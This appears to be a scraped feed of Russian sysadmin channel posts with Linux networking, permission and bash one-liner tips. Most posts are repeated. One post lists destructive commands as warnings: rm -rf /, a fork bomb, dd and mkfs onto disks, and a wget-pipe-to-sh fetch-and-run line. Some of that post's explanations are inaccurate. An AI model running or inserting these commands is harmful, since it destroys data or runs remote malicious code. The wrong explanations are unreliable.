Поиск активных сессий и залогиненных пользователей с Powershell
#СекретыСисадмина
📁 Скачать/Download 👇
#СекретыСисадмина
📁 Скачать/Download 👇
Задачка про bash для собеседований
Не выполняя этот код (bash), попробуйте догадаться, что он выдаст:
#СекретыСисадмина
Не выполняя этот код (bash), попробуйте догадаться, что он выдаст:
f() { return 2; } && g() { f || return; } && g || echo $?
#СекретыСисадмина
Полезные команды Linux. Сети (LAN / WiFi)
#
Включить DHCP на сетевом интерфейсе eth0
#
Вывести статистику по сетевому интерфейсу eth0
#
Вывести имя компьютера
#
Преобразовать домен www.example.org в ip-адрес и наоборот
#
Вывести настройки сетевой карты eth0
#
Переключить интерфейс eth0 в promiscuous-режим для сбора сетевых пакетов
#
Включить сетевой интерфейс eth0
#
Отключить сетевой интерфейс eth0
#
Назначить IP адрес и маску сетевому интерфейсу eth0
#
Вывести статус связи всех сетевых интерфейсов
#
Вывести конфигурацию беспроводного сетевого интерфейса eth1
#
Сканирование и поиск беспроводных сетей и точек доступа
#
Вывести состояние связи сетевого интерфейса eth0
#
Добавить статический маршрут в сеть 192.168.0.0 через шлюз с ip-адресом 192.168.1.1
#
Назначить ip-адрес шлюза по умолчанию
#
Удалить ip-адрес шлюза по умолчанию
#
Вывести таблицу маршрутизации
#СекретыСисадмина
#
dhclient eth0
Включить DHCP на сетевом интерфейсе eth0
#
ethtool eth0
Вывести статистику по сетевому интерфейсу eth0
#
hostname
Вывести имя компьютера
#
host www.example.com
Преобразовать домен www.example.org в ip-адрес и наоборот
#
ifconfig eth0
Вывести настройки сетевой карты eth0
#
ifconfig eth0 promisc
Переключить интерфейс eth0 в promiscuous-режим для сбора сетевых пакетов
#
ifup eth0
Включить сетевой интерфейс eth0
#
ifdown eth0
Отключить сетевой интерфейс eth0
#
ifconfig eth0 192.168.1.1 netmask 255.255.255.0
Назначить IP адрес и маску сетевому интерфейсу eth0
#
ip link show
Вывести статус связи всех сетевых интерфейсов
#
iwconfig eth1
Вывести конфигурацию беспроводного сетевого интерфейса eth1
#
iwlist scan
Сканирование и поиск беспроводных сетей и точек доступа
#
mii-tool eth0
Вывести состояние связи сетевого интерфейса eth0
#
route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1
Добавить статический маршрут в сеть 192.168.0.0 через шлюз с ip-адресом 192.168.1.1
#
route add -net 0/0 gw IP_Gateway
Назначить ip-адрес шлюза по умолчанию
#
route del 0/0 gw IP_gateway
Удалить ip-адрес шлюза по умолчанию
#
netstat -rn
Вывести таблицу маршрутизации
#СекретыСисадмина
Изменение полномочий на файлы (часть 1)
#СекретыСисадмина
ls -lh
— просмотр полномочий на файлы и директории в текущей директорииchmod go-rwx directory1
— отобрать у группы и всех остальных все полномочия на директорию directory1chown user1 file1
— назначить владельцем файла file1 пользователя user1chown -R user1 directory1
— назначить рекурсивно владельцем директории directory1 пользователя user1chgrp group1 file1
— сменить группу-владельца файла file1 на group1chown user1:group1 file1
— сменить владельца и группу владельца файла file1#СекретыСисадмина
Изменение полномочий на файлы (часть 2)
#СекретыСисадмина
find / -perm -u+s
— найти, начиная от корня, все файлы с выставленным SUIDchmod u+s /bin/binary_file
— назначить SUID-бит файлу /bin/binary_file (это даёт возможность любому пользователю запускать на выполнение файл с полномочиями владельца файла)chmod u-s /bin/binary_file
— снять SUID-бит с файла /bin/binary_filechmod g+s /home/public
— назначить SGID-бит директории /home/publicchmod g-s /home/public
— снять SGID-бит с директории /home/publicchmod o+t /home/public
— назначить STIKY-бит директории /home/public (позволяет удалять файлы только владельцам)chmod o-t /home/public
— снять STIKY-бит с директории /home/public#СекретыСисадмина
Жесткие и символические ссылки
Для пользователя файл – это область данных на диске, к которой он обращается через имя файла. Однако в операционных системах на базе ядра Linux вся информация о файле привязана не к его имени, а так называемому числовому индексному дескриптору.
Читать
#СекретыСисадмина
Для пользователя файл – это область данных на диске, к которой он обращается через имя файла. Однако в операционных системах на базе ядра Linux вся информация о файле привязана не к его имени, а так называемому числовому индексному дескриптору.
Читать
#СекретыСисадмина
Подборка инструментов для обработки текста в командной оболочке
Одна из причин, которые делают командную оболочку бесценным инструментом, — это большое количество команд обработки текста и возможность легко объединять их в конвейер, создавая сложные шаблоны обработки. Эти команды делают тривиальными многие задачи по анализу текста и данных, преобразованию данных между разными форматами, по фильтрации строк и т. д.
#СекретыСисадмина
📁 Скачать/Download 👇
Одна из причин, которые делают командную оболочку бесценным инструментом, — это большое количество команд обработки текста и возможность легко объединять их в конвейер, создавая сложные шаблоны обработки. Эти команды делают тривиальными многие задачи по анализу текста и данных, преобразованию данных между разными форматами, по фильтрации строк и т. д.
#СекретыСисадмина
📁 Скачать/Download 👇
Настройка контейнеров на RouterOS
Начиная с RouterOS v7.5, маршрутизаторы mikrotik получили возможность устанавливать контейнеры docker. В этом видео мы узнаем, как правильно подготовить маршрутизатор и как развернуть контейнер в RouterOS.
Смотреть
#СекретыСисадмина
Начиная с RouterOS v7.5, маршрутизаторы mikrotik получили возможность устанавливать контейнеры docker. В этом видео мы узнаем, как правильно подготовить маршрутизатор и как развернуть контейнер в RouterOS.
Смотреть
#СекретыСисадмина
🐉 Как установить окружение рабочего стола KDE на Kali Linux
Различные дистрибутивы Linux имеют различные окружения рабочего стола.
Но самое лучшее в Linux – это то, что он полностью настраиваемый, и мы можем изменить практически все в нашем дистрибутиве Linux, включая окружение рабочего стола.
#СекретыСисадмина
📁 Скачать/Download 👇
Различные дистрибутивы Linux имеют различные окружения рабочего стола.
Но самое лучшее в Linux – это то, что он полностью настраиваемый, и мы можем изменить практически все в нашем дистрибутиве Linux, включая окружение рабочего стола.
#СекретыСисадмина
📁 Скачать/Download 👇
Mikrotik: Настройка основного и резервного провайдеров
Показываем как на роутере Mikrotik настроить подключение к двум провайдерам. Как настроить основной и резервный каналы подключения к интернет и управлять ими.
Смотреть
#СекретыСисадмина
Показываем как на роутере Mikrotik настроить подключение к двум провайдерам. Как настроить основной и резервный каналы подключения к интернет и управлять ими.
Смотреть
#СекретыСисадмина
Bash-Oneliner
Этот блог посвящен простым bash-командам для парсинга данных и обслуживания систем Linux.
Примеры:
Случайная генерация пароля (например, сгенерировать 5 паролей длиной по 13 символов каждый)
Случайный выбор 100 строк из файла
Случайный порядок (лотерея)
Вывести серию случайных чисел в диапазоне (например, перемешать числа от 0 до 100, затем случайным образом выбрать 15 из них)
Случайное число от 1 до 10
Читать
#СекретыСисадмина
Этот блог посвящен простым bash-командам для парсинга данных и обслуживания систем Linux.
Примеры:
Случайная генерация пароля (например, сгенерировать 5 паролей длиной по 13 символов каждый)
sudo apt install pwgen
pwgen 13 5
#sahcahS9dah4a xieXaiJaey7xa UuMeo0ma7eic9 Ahpah9see3zai acerae7Huigh7
Случайный выбор 100 строк из файла
shuf -n 100 filename
Случайный порядок (лотерея)
for i in a b c d e; do echo $i; done | shuf
Вывести серию случайных чисел в диапазоне (например, перемешать числа от 0 до 100, затем случайным образом выбрать 15 из них)
shuf -i 0-100 -n 15
Случайное число от 1 до 10
echo $(((RANDOM %10)+1))
Читать
#СекретыСисадмина
4 способа создать файл в терминале Linux
В этой серии статей для начинающих вы изучите различные способы создания файла в терминале Linux.
#СекретыСисадмина
📁 Скачать/Download 👇
В этой серии статей для начинающих вы изучите различные способы создания файла в терминале Linux.
#СекретыСисадмина
📁 Скачать/Download 👇
11 опасных команд Linux, которые вы никогда не должны запускать
#СекретыСисадмина
rm -rf /
- Эта команда удалит все файлы и папки на вашем компьютере. :(){ :|: & };:
- Эта команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы. mkfs.ext4 /dev/sda
- Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. dd if=/dev/random of=/dev/sda
- Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных. chmod 777 /
- Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности. mv /home/* /dev/null
- Эта команда переместит все файлы в вашей домашней директории в "null", что означает, что они будут утеряны. wget http://example.com/file -O /dev/null
- Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных. mkfs.ext4 /dev/sda1
- Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. ln -s /dev/null /etc/passwd
- Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных. echo "Hello" > /dev/sda
- Эта команда заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello». wget http://malicious_source -O- | sh
- Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.#СекретыСисадмина
Узнаем температуру оборудования в Linux
Трудно не согласиться с тем, что современное оборудование, не имеющее «на борту» температурные датчики, не может считаться «современным» и вообще полноценным.
Ведь именно от температурных параметров зависит эффективная работа самого «железа». В Linux-системах существует масса свободных инструментов для доступа к температурным характеристикам работы оборудования и их мониторинга.
#СекретыСисадмина
📁 Скачать/Download👇
Трудно не согласиться с тем, что современное оборудование, не имеющее «на борту» температурные датчики, не может считаться «современным» и вообще полноценным.
Ведь именно от температурных параметров зависит эффективная работа самого «железа». В Linux-системах существует масса свободных инструментов для доступа к температурным характеристикам работы оборудования и их мониторинга.
#СекретыСисадмина
📁 Скачать/Download👇
Работа с утилитой patch
Каждый разработчик программного обеспечения, программист или верстальщик сталкивается (и довольно часто) с необходимостью модификации некоторой части рабочего проекта.
Особенно это актуально, когда в разработке участвует несколько человек, которые могут вносить правки в разных частях проекта. Для удобства и автоматизации действий по составлению таких правок используются специализированные утилиты. Одной из них является утилита patch.
#СекретыСисадмина
📁 Скачать/Download👇
Каждый разработчик программного обеспечения, программист или верстальщик сталкивается (и довольно часто) с необходимостью модификации некоторой части рабочего проекта.
Особенно это актуально, когда в разработке участвует несколько человек, которые могут вносить правки в разных частях проекта. Для удобства и автоматизации действий по составлению таких правок используются специализированные утилиты. Одной из них является утилита patch.
#СекретыСисадмина
📁 Скачать/Download👇